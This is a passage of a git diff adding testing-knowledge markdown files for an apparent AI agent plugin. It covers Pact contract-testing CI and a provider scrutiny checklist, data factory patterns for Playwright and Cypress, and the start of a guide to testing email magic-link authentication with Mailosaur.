+          PACT_BROKER_BASE_URL: ${{ secrets.PACT_BROKER_BASE_URL }}
+          PACT_BROKER_TOKEN: ${{ secrets.PACT_BROKER_TOKEN }}
+```
+
+**Scheduled cleanup**:
+
+```yaml
+# .github/workflows/pact-housekeeping.yml
+name: Pact Broker Housekeeping
+on:
+  schedule:
+    - cron: '0 2 * * 0' # Weekly on Sunday at 2 AM
+
+jobs:
+  cleanup:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+
+      - name: Cleanup old pacts
+        run: npm run pact:cleanup
+        env:
+          PACT_BROKER_BASE_URL: ${{ secrets.PACT_BROKER_BASE_URL }}
+          PACT_BROKER_TOKEN: ${{ secrets.PACT_BROKER_TOKEN }}
+```
+
+**Key Points**:
+
+- **Automated tagging**: Releases tagged with environment
+- **Deployment tracking**: Broker knows which version is where
+- **Safety gate**: can-i-deploy blocks incompatible deployments
+- **Retention policy**: Keep recent, production, and branch-latest pacts
+- **Webhook triggers**: Provider verification runs on consumer changes
+
+---
+
+## Provider Scrutiny Protocol
+
+When generating consumer contract tests, the agent **MUST** analyze provider source code — or the provider's OpenAPI/Swagger spec — before writing any Pact interaction. Generating contracts from consumer-side assumptions alone leads to mismatches that only surface during provider verification — wrong response shapes, wrong status codes, wrong field names, wrong types, missing required fields, and wrong enum values.
+
+**Source priority**: Provider source code is the most authoritative reference. When an OpenAPI/Swagger spec exists (`openapi.yaml`, `openapi.json`, `swagger.json`), use it as a complementary or alternative source — it documents the provider's contract explicitly and can be faster to parse than tracing through handler code. When both exist, cross-reference them; if they disagree, the source code wins.
+
+### Provider Endpoint Comment
+
+Every Pact interaction MUST include a provider endpoint comment immediately above the `.given()` call:
+
+```typescript
+// Provider endpoint: server/src/routes/userRouteHandlers.ts -> GET /api/v2/users/:userId
+await provider.given('user with id 1 exists').uponReceiving('a request for user 1');
+```
+
+**Format**: `// Provider endpoint: <relative-path-to-handler> -> <METHOD> <route-pattern>`
+
+If the provider source is not accessible, use: `// Provider endpoint: TODO — provider source not accessible, verify manually`
+
+### Seven-Point Scrutiny Checklist
+
+Before generating each Pact interaction, read the provider route handler and/or OpenAPI spec and verify:
+
+| #   | Check                 | What to Read (source code / OpenAPI spec)                         | Common Mismatch                                               |
+| --- | --------------------- | ----------------------------------------------------------------- | ------------------------------------------------------------- |
+| 1   | **Response shape**    | Handler's `res.json()` calls / OpenAPI `responses.content.schema` | Nested object vs flat; array wrapper vs direct                |
+| 2   | **Status codes**      | Handler's `res.status()` calls / OpenAPI `responses` keys         | 200 vs 201 for creation; 204 vs 200 for delete                |
+| 3   | **Field names**       | Response type/DTO definitions / OpenAPI `schema.properties`       | `transaction_id` vs `transactionId`; `fraud_score` vs `score` |
+| 4   | **Enum values**       | Validation schemas, constants / OpenAPI `schema.enum`             | `"active"` vs `"ACTIVE"`; `"pending"` vs `"in_progress"`      |
+| 5   | **Required fields**   | Request validation (Joi, Zod) / OpenAPI `schema.required`         | Missing required header; optional field assumed required      |
+| 6   | **Data types**        | TypeScript types, DB models / OpenAPI `schema.type` + `format`    | `string` ID vs `number` ID; ISO date vs Unix timestamp        |
+| 7   | **Nested structures** | Response builder, serializer / OpenAPI `$ref` + `allOf`/`oneOf`   | `{ data: { items: [] } }` vs `{ items: [] }`                  |
+
+### Scrutiny Evidence Block
+
+Document what was found from provider source and/or OpenAPI spec as a block comment in the test file:
+
+```typescript
+/*
+ * Provider Scrutiny Evidence:
+ * - Handler: server/src/routes/userRouteHandlers.ts:45
+ * - OpenAPI: server/openapi.yaml paths./api/v2/users/{userId}.get (if available)
+ * - Response type: UserResponseDto (server/src/types/user.ts:12)
+ * - Status: 200 (line 52), 404 (line 48)
+ * - Fields: { id: number, name: string, email: string, role: "user" | "admin", createdAt: string }
+ * - Required request headers: Authorization (Bearer token)
+ * - Validation: Zod schema at server/src/validation/user.ts:8
+ */
+```
+
+### Graceful Degradation
+
+When provider source code is not accessible (different repo, no access, closed source):
+
+1. **OpenAPI/Swagger spec available**: Use the spec as the source of truth for response shapes, status codes, and field names
+2. **Pact Broker has existing contracts**: Use `pact_mcp` tools to fetch existing provider states and verified interactions as reference
+3. **Neither available**: Generate contracts from consumer-side types but use the TODO form of the mandatory comment: `// Provider endpoint: TODO — provider source not accessible, verify manually` and add a `provider_scrutiny: "pending"` field to the output JSON
+4. **Never silently guess**: If you cannot verify, document what you assumed and why
+
+---
+
+## Contract Testing Checklist
+
+Before implementing contract testing, verify:
+
+- [ ] **Pact Broker setup**: Hosted (Pactflow) or self-hosted broker configured
+- [ ] **Consumer tests**: Generate pacts in CI, publish to broker on merge
+- [ ] **Provider verification**: Runs on PR, verifies all consumer pacts
+- [ ] **State handlers**: Provider implements all given() states
+- [ ] **can-i-deploy**: Blocks deployment if contracts incompatible
+- [ ] **Webhooks configured**: Consumer changes trigger provider verification
+- [ ] **Retention policy**: Old pacts archived (keep 30 days, all production tags)
+- [ ] **Resilience tested**: Timeouts, retries, error codes in contracts
+- [ ] **Provider endpoint comments**: Every Pact interaction has `// Provider endpoint:` comment
+- [ ] **Provider scrutiny completed**: Seven-point checklist verified for each interaction
+- [ ] **Scrutiny evidence documented**: Block comment with handler, types, status codes, and fields
+
+## Integration Points
+
+- Used in workflows: `*automate` (integration test generation), `*ci` (contract CI setup)
+- Related fragments: `test-levels-framework.md`, `ci-burn-in.md`, `pact-consumer-framework-setup.md`
+- Tools: Pact.js, Pact Broker (Pactflow or self-hosted), Pact CLI
+
+---
+
+## Pact.js Utils Accelerator
+
+When `tea_use_pactjs_utils` is enabled, the following utilities replace manual boilerplate:
+
+| Manual Pattern (raw Pact.js)                             | Pact.js Utils Equivalent                                                          | Benefit                                                               |
+| -------------------------------------------------------- | --------------------------------------------------------------------------------- | --------------------------------------------------------------------- |
+| Manual `JsonMap` casting for `.given()` params           | `createProviderState({ name, params })`                                           | Type-safe, auto-conversion of Date/null/nested objects                |
+| Repeated builder callbacks for query/header/body         | `setJsonContent({ query, headers, body })`                                        | Reusable callback for `.withRequest(...)` and `.willRespondWith(...)` |
+| Inline body lambda `(builder) => builder.jsonBody(body)` | `setJsonBody(body)`                                                               | Body-only shorthand for cleaner response builders                     |
+| 30+ lines of `VerifierOptions` assembly                  | `buildVerifierOptions({ provider, port, includeMainAndDeployed, stateHandlers })` | One-call setup, env-aware, flow auto-detection                        |
+| Manual broker URL + selector logic from env vars         | `handlePactBrokerUrlAndSelectors({ ..., options })`                               | Mutates options in-place with broker URL and selectors                |
+| DIY Express middleware for auth injection                | `createRequestFilter({ tokenGenerator })`                                         | Bearer prefix contract prevents double-prefix bugs                    |
+| Manual CI branch/tag extraction                          | `getProviderVersionTags()`                                                        | CI-aware (GitHub Actions, GitLab CI, etc.)                            |
+| Message verifier config assembly                         | `buildMessageVerifierOptions({ provider, messageProviders })`                     | Same one-call pattern for Kafka/async contracts                       |
+| Inline no-op filter `(req, res, next) => next()`         | `noOpRequestFilter`                                                               | Pre-built pass-through for no-auth providers                          |
+
+See the `pactjs-utils-*.md` knowledge fragments for complete examples and anti-patterns.
+
+_Source: Pact consumer/provider sample repos, Murat contract testing blog, Pact official documentation, @seontechnologies/pactjs-utils library_
diff --git a/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/data-factories.md b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/data-factories.md
new file mode 100644
index 0000000..6820a30
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/data-factories.md
@@ -0,0 +1,500 @@
+# Data Factories and API-First Setup
+
+## Principle
+
+Prefer factory functions that accept overrides and return complete objects (`createUser(overrides)`). Seed test state through APIs, tasks, or direct DB helpers before visiting the UI—never via slow UI interactions. UI is for validation only, not setup.
+
+## Rationale
+
+Static fixtures (JSON files, hardcoded objects) create brittle tests that:
+
+- Fail when schemas evolve (missing new required fields)
+- Cause collisions in parallel execution (same user IDs)
+- Hide test intent (what matters for _this_ test?)
+
+Dynamic factories with overrides provide:
+
+- **Parallel safety**: UUIDs and timestamps prevent collisions
+- **Schema evolution**: Defaults adapt to schema changes automatically
+- **Explicit intent**: Overrides show what matters for each test
+- **Speed**: API setup is 10-50x faster than UI
+
+## Pattern Examples
+
+### Example 1: Factory Function with Overrides
+
+**Context**: When creating test data, build factory functions with sensible defaults and explicit overrides. Use `faker` for dynamic values that prevent collisions.
+
+**Implementation**:
+
+```typescript
+// test-utils/factories/user-factory.ts
+import { faker } from '@faker-js/faker';
+
+type User = {
+  id: string;
+  email: string;
+  name: string;
+  role: 'user' | 'admin' | 'moderator';
+  createdAt: Date;
+  isActive: boolean;
+};
+
+export const createUser = (overrides: Partial<User> = {}): User => ({
+  id: faker.string.uuid(),
+  email: faker.internet.email(),
+  name: faker.person.fullName(),
+  role: 'user',
+  createdAt: new Date(),
+  isActive: true,
+  ...overrides,
+});
+
+// test-utils/factories/product-factory.ts
+type Product = {
+  id: string;
+  name: string;
+  price: number;
+  stock: number;
+  category: string;
+};
+
+export const createProduct = (overrides: Partial<Product> = {}): Product => ({
+  id: faker.string.uuid(),
+  name: faker.commerce.productName(),
+  price: parseFloat(faker.commerce.price()),
+  stock: faker.number.int({ min: 0, max: 100 }),
+  category: faker.commerce.department(),
+  ...overrides,
+});
+
+// Usage in tests:
+test('admin can delete users', async ({ page, apiRequest }) => {
+  // Default user
+  const user = createUser();
+
+  // Admin user (explicit override shows intent)
+  const admin = createUser({ role: 'admin' });
+
+  // Seed via API (fast!)
+  await apiRequest({ method: 'POST', url: '/api/users', data: user });
+  await apiRequest({ method: 'POST', url: '/api/users', data: admin });
+
+  // Now test UI behavior
+  await page.goto('/admin/users');
+  await page.click(`[data-testid="delete-user-${user.id}"]`);
+  await expect(page.getByText(`User ${user.name} deleted`)).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- `Partial<User>` allows overriding any field without breaking type safety
+- Faker generates unique values—no collisions in parallel tests
+- Override shows test intent: `createUser({ role: 'admin' })` is explicit
+- Factory lives in `test-utils/factories/` for easy reuse
+
+### Example 2: Nested Factory Pattern
+
+**Context**: When testing relationships (orders with users and products), nest factories to create complete object graphs. Control relationship data explicitly.
+
+**Implementation**:
+
+```typescript
+// test-utils/factories/order-factory.ts
+import { createUser } from './user-factory';
+import { createProduct } from './product-factory';
+
+type OrderItem = {
+  product: Product;
+  quantity: number;
+  price: number;
+};
+
+type Order = {
+  id: string;
+  user: User;
+  items: OrderItem[];
+  total: number;
+  status: 'pending' | 'paid' | 'shipped' | 'delivered';
+  createdAt: Date;
+};
+
+export const createOrderItem = (overrides: Partial<OrderItem> = {}): OrderItem => {
+  const product = overrides.product || createProduct();
+  const quantity = overrides.quantity || faker.number.int({ min: 1, max: 5 });
+
+  return {
+    product,
+    quantity,
+    price: product.price * quantity,
+    ...overrides,
+  };
+};
+
+export const createOrder = (overrides: Partial<Order> = {}): Order => {
+  const items = overrides.items || [createOrderItem(), createOrderItem()];
+  const total = items.reduce((sum, item) => sum + item.price, 0);
+
+  return {
+    id: faker.string.uuid(),
+    user: overrides.user || createUser(),
+    items,
+    total,
+    status: 'pending',
+    createdAt: new Date(),
+    ...overrides,
+  };
+};
+
+// Usage in tests:
+test('user can view order details', async ({ page, apiRequest }) => {
+  const user = createUser({ email: 'test@example.com' });
+  const product1 = createProduct({ name: 'Widget A', price: 10.0 });
+  const product2 = createProduct({ name: 'Widget B', price: 15.0 });
+
+  // Explicit relationships
+  const order = createOrder({
+    user,
+    items: [
+      createOrderItem({ product: product1, quantity: 2 }), // $20
+      createOrderItem({ product: product2, quantity: 1 }), // $15
+    ],
+  });
+
+  // Seed via API
+  await apiRequest({ method: 'POST', url: '/api/users', data: user });
+  await apiRequest({ method: 'POST', url: '/api/products', data: product1 });
+  await apiRequest({ method: 'POST', url: '/api/products', data: product2 });
+  await apiRequest({ method: 'POST', url: '/api/orders', data: order });
+
+  // Test UI
+  await page.goto(`/orders/${order.id}`);
+  await expect(page.getByText('Widget A x 2')).toBeVisible();
+  await expect(page.getByText('Widget B x 1')).toBeVisible();
+  await expect(page.getByText('Total: $35.00')).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- Nested factories handle relationships (order → user, order → products)
+- Overrides cascade: provide custom user/products or use defaults
+- Calculated fields (total) derived automatically from nested data
+- Explicit relationships make test data clear and maintainable
+
+### Example 3: Factory with API Seeding
+
+**Context**: When tests need data setup, always use API calls or database tasks—never UI navigation. Wrap factory usage with seeding utilities for clean test setup.
+
+**Implementation**:
+
+```typescript
+// playwright/support/helpers/seed-helpers.ts
+import { APIRequestContext } from '@playwright/test';
+import { User, createUser } from '../../test-utils/factories/user-factory';
+import { Product, createProduct } from '../../test-utils/factories/product-factory';
+
+export async function seedUser(request: APIRequestContext, overrides: Partial<User> = {}): Promise<User> {
+  const user = createUser(overrides);
+
+  const response = await request.post('/api/users', {
+    data: user,
+  });
+
+  if (!response.ok()) {
+    throw new Error(`Failed to seed user: ${response.status()}`);
+  }
+
+  return user;
+}
+
+export async function seedProduct(request: APIRequestContext, overrides: Partial<Product> = {}): Promise<Product> {
+  const product = createProduct(overrides);
+
+  const response = await request.post('/api/products', {
+    data: product,
+  });
+
+  if (!response.ok()) {
+    throw new Error(`Failed to seed product: ${response.status()}`);
+  }
+
+  return product;
+}
+
+// Playwright globalSetup for shared data
+// playwright/support/global-setup.ts
+import { chromium, FullConfig } from '@playwright/test';
+import { seedUser } from './helpers/seed-helpers';
+
+async function globalSetup(config: FullConfig) {
+  const browser = await chromium.launch();
+  const page = await browser.newPage();
+  const context = page.context();
+
+  // Seed admin user for all tests
+  const admin = await seedUser(context.request, {
+    email: 'admin@example.com',
+    role: 'admin',
+  });
+
+  // Save auth state for reuse
+  await context.storageState({ path: 'playwright/.auth/admin.json' });
+
+  await browser.close();
+}
+
+export default globalSetup;
+
+// Cypress equivalent with cy.task
+// cypress/support/tasks.ts
+export const seedDatabase = async (entity: string, data: unknown) => {
+  // Direct database insert or API call
+  if (entity === 'users') {
+    await db.users.create(data);
+  }
+  return null;
+};
+
+// Usage in Cypress tests:
+beforeEach(() => {
+  const user = createUser({ email: 'test@example.com' });
+  cy.task('db:seed', { entity: 'users', data: user });
+});
+```
+
+**Key Points**:
+
+- API seeding is 10-50x faster than UI-based setup
+- `globalSetup` seeds shared data once (e.g., admin user)
+- Per-test seeding uses `seedUser()` helpers for isolation
+- Cypress `cy.task` allows direct database access for speed
+
+### Example 4: Anti-Pattern - Hardcoded Test Data
+
+**Problem**:
+
+```typescript
+// ❌ BAD: Hardcoded test data
+test('user can login', async ({ page }) => {
+  await page.goto('/login');
+  await page.fill('[data-testid="email"]', 'test@test.com'); // Hardcoded
+  await page.fill('[data-testid="password"]', 'password123'); // Hardcoded
+  await page.click('[data-testid="submit"]');
+
+  // What if this user already exists? Test fails in parallel runs.
+  // What if schema adds required fields? Test breaks.
+});
+
+// ❌ BAD: Static JSON fixtures
+// fixtures/users.json
+{
+  "users": [
+    { "id": 1, "email": "user1@test.com", "name": "User 1" },
+    { "id": 2, "email": "user2@test.com", "name": "User 2" }
+  ]
+}
+
+test('admin can delete user', async ({ page }) => {
+  const users = require('../fixtures/users.json');
+  // Brittle: IDs collide in parallel, schema drift breaks tests
+});
+```
+
+**Why It Fails**:
+
+- **Parallel collisions**: Hardcoded IDs (`id: 1`, `email: 'test@test.com'`) cause failures when tests run concurrently
+- **Schema drift**: Adding required fields (`phoneNumber`, `address`) breaks all tests using fixtures
+- **Hidden intent**: Does this test need `email: 'test@test.com'` specifically, or any email?
+- **Slow setup**: UI-based data creation is 10-50x slower than API
+
+**Better Approach**: Use factories
+
+```typescript
+// ✅ GOOD: Factory-based data
+test('user can login', async ({ page, apiRequest }) => {
+  const user = createUser({ email: 'unique@example.com', password: 'secure123' });
+
+  // Seed via API (fast, parallel-safe)
+  await apiRequest({ method: 'POST', url: '/api/users', data: user });
+
+  // Test UI
+  await page.goto('/login');
+  await page.fill('[data-testid="email"]', user.email);
+  await page.fill('[data-testid="password"]', user.password);
+  await page.click('[data-testid="submit"]');
+
+  await expect(page).toHaveURL('/dashboard');
+});
+
+// ✅ GOOD: Factories adapt to schema changes automatically
+// When `phoneNumber` becomes required, update factory once:
+export const createUser = (overrides: Partial<User> = {}): User => ({
+  id: faker.string.uuid(),
+  email: faker.internet.email(),
+  name: faker.person.fullName(),
+  phoneNumber: faker.phone.number(), // NEW field, all tests get it automatically
+  role: 'user',
+  ...overrides,
+});
+```
+
+**Key Points**:
+
+- Factories generate unique, parallel-safe data
+- Schema evolution handled in one place (factory), not every test
+- Test intent explicit via overrides
+- API seeding is fast and reliable
+
+### Example 5: Factory Composition
+
+**Context**: When building specialized factories, compose simpler factories instead of duplicating logic. Layer overrides for specific test scenarios.
+
+**Implementation**:
+
+```typescript
+// test-utils/factories/user-factory.ts (base)
+export const createUser = (overrides: Partial<User> = {}): User => ({
+  id: faker.string.uuid(),
+  email: faker.internet.email(),
+  name: faker.person.fullName(),
+  role: 'user',
+  createdAt: new Date(),
+  isActive: true,
+  ...overrides,
+});
+
+// Compose specialized factories
+export const createAdminUser = (overrides: Partial<User> = {}): User => createUser({ role: 'admin', ...overrides });
+
+export const createModeratorUser = (overrides: Partial<User> = {}): User => createUser({ role: 'moderator', ...overrides });
+
+export const createInactiveUser = (overrides: Partial<User> = {}): User => createUser({ isActive: false, ...overrides });
+
+// Account-level factories with feature flags
+type Account = {
+  id: string;
+  owner: User;
+  plan: 'free' | 'pro' | 'enterprise';
+  features: string[];
+  maxUsers: number;
+};
+
+export const createAccount = (overrides: Partial<Account> = {}): Account => ({
+  id: faker.string.uuid(),
+  owner: overrides.owner || createUser(),
+  plan: 'free',
+  features: [],
+  maxUsers: 1,
+  ...overrides,
+});
+
+export const createProAccount = (overrides: Partial<Account> = {}): Account =>
+  createAccount({
+    plan: 'pro',
+    features: ['advanced-analytics', 'priority-support'],
+    maxUsers: 10,
+    ...overrides,
+  });
+
+export const createEnterpriseAccount = (overrides: Partial<Account> = {}): Account =>
+  createAccount({
+    plan: 'enterprise',
+    features: ['advanced-analytics', 'priority-support', 'sso', 'audit-logs'],
+    maxUsers: 100,
+    ...overrides,
+  });
+
+// Usage in tests:
+test('pro accounts can access analytics', async ({ page, apiRequest }) => {
+  const admin = createAdminUser({ email: 'admin@company.com' });
+  const account = createProAccount({ owner: admin });
+
+  await apiRequest({ method: 'POST', url: '/api/users', data: admin });
+  await apiRequest({ method: 'POST', url: '/api/accounts', data: account });
+
+  await page.goto('/analytics');
+  await expect(page.getByText('Advanced Analytics')).toBeVisible();
+});
+
+test('free accounts cannot access analytics', async ({ page, apiRequest }) => {
+  const user = createUser({ email: 'user@company.com' });
+  const account = createAccount({ owner: user }); // Defaults to free plan
+
+  await apiRequest({ method: 'POST', url: '/api/users', data: user });
+  await apiRequest({ method: 'POST', url: '/api/accounts', data: account });
+
+  await page.goto('/analytics');
+  await expect(page.getByText('Upgrade to Pro')).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- Compose specialized factories from base factories (`createAdminUser` → `createUser`)
+- Defaults cascade: `createProAccount` sets plan + features automatically
+- Still allow overrides: `createProAccount({ maxUsers: 50 })` works
+- Test intent clear: `createProAccount()` vs `createAccount({ plan: 'pro', features: [...] })`
+
+## Integration Points
+
+- **Used in workflows**: `*atdd` (test generation), `*automate` (test expansion), `*framework` (factory setup)
+- **Related fragments**:
+  - `fixture-architecture.md` - Pure functions and fixtures for factory integration
+  - `network-first.md` - API-first setup patterns
+  - `test-quality.md` - Parallel-safe, deterministic test design
+
+## Cleanup Strategy
+
+Ensure factories work with cleanup patterns:
+
+```typescript
+// Track created IDs for cleanup
+const createdUsers: string[] = [];
+
+afterEach(async ({ apiRequest }) => {
+  // Clean up all users created during test
+  for (const userId of createdUsers) {
+    await apiRequest({ method: 'DELETE', url: `/api/users/${userId}` });
+  }
+  createdUsers.length = 0;
+});
+
+test('user registration flow', async ({ page, apiRequest }) => {
+  const user = createUser();
+  createdUsers.push(user.id);
+
+  await apiRequest({ method: 'POST', url: '/api/users', data: user });
+  // ... test logic
+});
+```
+
+## Feature Flag Integration
+
+When working with feature flags, layer them into factories:
+
+```typescript
+export const createUserWithFlags = (
+  overrides: Partial<User> = {},
+  flags: Record<string, boolean> = {},
+): User & { flags: Record<string, boolean> } => ({
+  ...createUser(overrides),
+  flags: {
+    'new-dashboard': false,
+    'beta-features': false,
+    ...flags,
+  },
+});
+
+// Usage:
+const user = createUserWithFlags(
+  { email: 'test@example.com' },
+  {
+    'new-dashboard': true,
+    'beta-features': true,
+  },
+);
+```
+
+_Source: Murat Testing Philosophy (lines 94-120), API-first testing patterns, faker.js documentation._
diff --git a/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/email-auth.md b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/email-auth.md
new file mode 100644
index 0000000..653a8eb
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/email-auth.md
@@ -0,0 +1,721 @@
+# Email-Based Authentication Testing
+
+## Principle
+
+Email-based authentication (magic links, one-time codes, passwordless login) requires specialized testing with email capture services like Mailosaur or Ethereal. Extract magic links via HTML parsing or use built-in link extraction, preserve browser storage (local/session/cookies) when processing links, cache email payloads to avoid exhausting inbox quotas, and cover negative cases (expired links, reused links, multiple rapid requests). Log email IDs and links for troubleshooting, but scrub PII before committing artifacts.
+
+## Rationale
+
+Email authentication introduces unique challenges: asynchronous email delivery, quota limits (AWS Cognito: 50/day), cost per email, and complex state management (session preservation across link clicks). Without proper patterns, tests become slow (wait for email each time), expensive (quota exhaustion), and brittle (timing issues, missing state). Using email capture services + session caching + state preservation patterns makes email auth tests fast, reliable, and cost-effective.
+
+## Pattern Examples
+
+### Example 1: Magic Link Extraction with Mailosaur
+
+**Context**: Passwordless login flow where user receives magic link via email, clicks it, and is authenticated.
+
+**Implementation**:
+
+```typescript
+// tests/e2e/magic-link-auth.spec.ts
+import { test, expect } from '@playwright/test';
+
+/**
+ * Magic Link Authentication Flow
+ * 1. User enters email
+ * 2. Backend sends magic link
+ * 3. Test retrieves email via Mailosaur
+ * 4. Extract and visit magic link
+ * 5. Verify user is authenticated
+ */
+
+// Mailosaur configuration
+const MAILOSAUR_API_KEY = process.env.MAILOSAUR_API_KEY!;
+const MAILOSAUR_SERVER_ID = process.env.MAILOSAUR_SERVER_ID!;
+
+/**
+ * Extract href from HTML email body
+ * DOMParser provides XML/HTML parsing in Node.js
+ */
+function extractMagicLink(htmlString: string): string | null {
+  const { JSDOM } = require('jsdom');
+  const dom = new JSDOM(htmlString);
+  const link = dom.window.document.querySelector('#magic-link-button');
+  return link ? (link as HTMLAnchorElement).href : null;
+}
+
+/**
+ * Alternative: Use Mailosaur's built-in link extraction
+ * Mailosaur automatically parses links - no regex needed!
+ */
+async function getMagicLinkFromEmail(email: string): Promise<string> {
+  const MailosaurClient = require('mailosaur');
+  const mailosaur = new MailosaurClient(MAILOSAUR_API_KEY);
+
+  // Wait for email (timeout: 30 seconds)
+  const message = await mailosaur.messages.get(
+    MAILOSAUR_SERVER_ID,
+    {
+      sentTo: email,
+    },
+    {
+      timeout: 30000, // 30 seconds
+    },
+  );
+
+  // Mailosaur extracts links automatically - no parsing needed!
+  const magicLink = message.html?.links?.[0]?.href;
+
+  if (!magicLink) {
+    throw new Error(`Magic link not found in email to ${email}`);
+  }
+
+  console.log(`📧 Email received. Magic link extracted: ${magicLink}`);
+  return magicLink;
+}
+
+test.describe('Magic Link Authentication', () => {
+  test('should authenticate user via magic link', async ({ page, context }) => {
+    // Arrange: Generate unique test email
+    const randomId = Math.floor(Math.random() * 1000000);
+    const testEmail = `user-${randomId}@${MAILOSAUR_SERVER_ID}.mailosaur.net`;
+
+    // Act: Request magic link
+    await page.goto('/login');
+    await page.getByTestId('email-input').fill(testEmail);
+    await page.getByTestId('send-magic-link').click();
+
+    // Assert: Success message
+    await expect(page.getByTestId('check-email-message')).toBeVisible();
+    await expect(page.getByTestId('check-email-message')).toContainText('Check your email');
+
+    // Retrieve magic link from email
+    const magicLink = await getMagicLinkFromEmail(testEmail);
+
+    // Visit magic link
+    await page.goto(magicLink);
+
+    // Assert: User is authenticated
+    await expect(page.getByTestId('user-menu')).toBeVisible();
+    await expect(page.getByTestId('user-email')).toContainText(testEmail);
+
+    // Verify session storage preserved
+    const localStorage = await page.evaluate(() => JSON.stringify(window.localStorage));
+    expect(localStorage).toContain('authToken');
+  });
+
+  test('should handle expired magic link', async ({ page }) => {
+    // Use pre-expired link (older than 15 minutes)
+    const expiredLink = 'http://localhost:3000/auth/verify?token=expired-token-123';
+
+    await page.goto(expiredLink);
+
+    // Assert: Error message displayed
+    await expect(page.getByTestId('error-message')).toBeVisible();
+    await expect(page.getByTestId('error-message')).toContainText('link has expired');
+
+    // Assert: User NOT authenticated
+    await expect(page.getByTestId('user-menu')).not.toBeVisible();
+  });
+
+  test('should prevent reusing magic link', async ({ page }) => {
+    const randomId = Math.floor(Math.random() * 1000000);
+    const testEmail = `user-${randomId}@${MAILOSAUR_SERVER_ID}.mailosaur.net`;
+
+    // Request magic link
+    await page.goto('/login');
+    await page.getByTestId('email-input').fill(testEmail);
+    await page.getByTestId('send-magic-link').click();
+
+    const magicLink = await getMagicLinkFromEmail(testEmail);
+
+    // Visit link first time (success)
+    await page.goto(magicLink);
+    await expect(page.getByTestId('user-menu')).toBeVisible();
+
+    // Sign out
+    await page.getByTestId('sign-out').click();
+
+    // Try to reuse same link (should fail)
+    await page.goto(magicLink);
+    await expect(page.getByTestId('error-message')).toBeVisible();
+    await expect(page.getByTestId('error-message')).toContainText('link has already been used');
+  });
+});
+```
+
+**Cypress equivalent with Mailosaur plugin**:
+
+```javascript
+// cypress/e2e/magic-link-auth.cy.ts
+describe('Magic Link Authentication', () => {
+  it('should authenticate user via magic link', () => {
+    const serverId = Cypress.env('MAILOSAUR_SERVERID');
+    const randomId = Cypress._.random(1e6);
+    const testEmail = `user-${randomId}@${serverId}.mailosaur.net`;
+
+    // Request magic link
+    cy.visit('/login');
+    cy.get('[data-cy="email-input"]').type(testEmail);
+    cy.get('[data-cy="send-magic-link"]').click();
+    cy.get('[data-cy="check-email-message"]').should('be.visible');
+
+    // Retrieve and visit magic link
+    cy.mailosaurGetMessage(serverId, { sentTo: testEmail })
+      .its('html.links.0.href') // Mailosaur extracts links automatically!
+      .should('exist')
+      .then((magicLink) => {
+        cy.log(`Magic link: ${magicLink}`);
+        cy.visit(magicLink);
+      });
+
+    // Verify authenticated
+    cy.get('[data-cy="user-menu"]').should('be.visible');
+    cy.get('[data-cy="user-email"]').should('contain', testEmail);
+  });
+});
+```
+
+**Key Points**:
+
+- **Mailosaur auto-extraction**: `html.links[0].href` or `html.codes[0].value`
+- **Unique emails**: Random ID prevents collisions
+- **Negative testing**: Expired and reused links tested
+- **State verification**: localStorage/session checked
+- **Fast email retrieval**: 30 second timeout typical
+
+---
+
+### Example 2: State Preservation Pattern with cy.session / Playwright storageState
+
+**Context**: Cache authenticated session to avoid requesting magic link on every test.
+
+**Implementation**:
+
+```typescript
+// playwright/fixtures/email-auth-fixture.ts
+import { test as base } from '@playwright/test';
+import { getMagicLinkFromEmail } from '../support/mailosaur-helpers';
+
+type EmailAuthFixture = {
+  authenticatedUser: { email: string; token: string };
+};
+
+export const test = base.extend<EmailAuthFixture>({
+  authenticatedUser: async ({ page, context }, use) => {
+    const randomId = Math.floor(Math.random() * 1000000);
+    const testEmail = `user-${randomId}@${process.env.MAILOSAUR_SERVER_ID}.mailosaur.net`;
+
+    // Check if we have cached auth state for this email
+    const storageStatePath = `./test-results/auth-state-${testEmail}.json`;
+
+    try {
+      // Try to reuse existing session
+      await context.storageState({ path: storageStatePath });
+      await page.goto('/dashboard');
+
+      // Validate session is still valid
+      const isAuthenticated = await page.getByTestId('user-menu').isVisible({ timeout: 2000 });
+
+      if (isAuthenticated) {
+        console.log(`✅ Reusing cached session for ${testEmail}`);
+        await use({ email: testEmail, token: 'cached' });
+        return;
+      }
+    } catch (error) {
+      console.log(`📧 No cached session, requesting magic link for ${testEmail}`);
+    }
+
+    // Request new magic link
+    await page.goto('/login');
+    await page.getByTestId('email-input').fill(testEmail);
+    await page.getByTestId('send-magic-link').click();
+
+    // Get magic link from email
+    const magicLink = await getMagicLinkFromEmail(testEmail);
+
+    // Visit link and authenticate
+    await page.goto(magicLink);
+    await expect(page.getByTestId('user-menu')).toBeVisible();
+
+    // Extract auth token from localStorage
+    const authToken = await page.evaluate(() => localStorage.getItem('authToken'));
+
+    // Save session state for reuse
+    await context.storageState({ path: storageStatePath });
+
+    console.log(`💾 Cached session for ${testEmail}`);
+
+    await use({ email: testEmail, token: authToken || '' });
+  },
+});
+```
+
+**Cypress equivalent with cy.session + data-session**:
+
+```javascript
+// cypress/support/commands/email-auth.js
+import { dataSession } from 'cypress-data-session';
+
+/**
+ * Authenticate via magic link with session caching
+ * - First run: Requests email, extracts link, authenticates
+ * - Subsequent runs: Reuses cached session (no email)
+ */
+Cypress.Commands.add('authViaMagicLink', (email) => {
+  return dataSession({
+    name: `magic-link-${email}`,
+
+    // First-time setup: Request and process magic link
+    setup: () => {
+      cy.visit('/login');
+      cy.get('[data-cy="email-input"]').type(email);
+      cy.get('[data-cy="send-magic-link"]').click();
+
+      // Get magic link from Mailosaur
+      cy.mailosaurGetMessage(Cypress.env('MAILOSAUR_SERVERID'), {
+        sentTo: email,
+      })
+        .its('html.links.0.href')
+        .should('exist')
+        .then((magicLink) => {
+          cy.visit(magicLink);
+        });
+
+      // Wait for authentication
+      cy.get('[data-cy="user-menu"]', { timeout: 10000 }).should('be.visible');
+
+      // Preserve authentication state
+      return cy.getAllLocalStorage().then((storage) => {
+        return { storage, email };
+      });
+    },
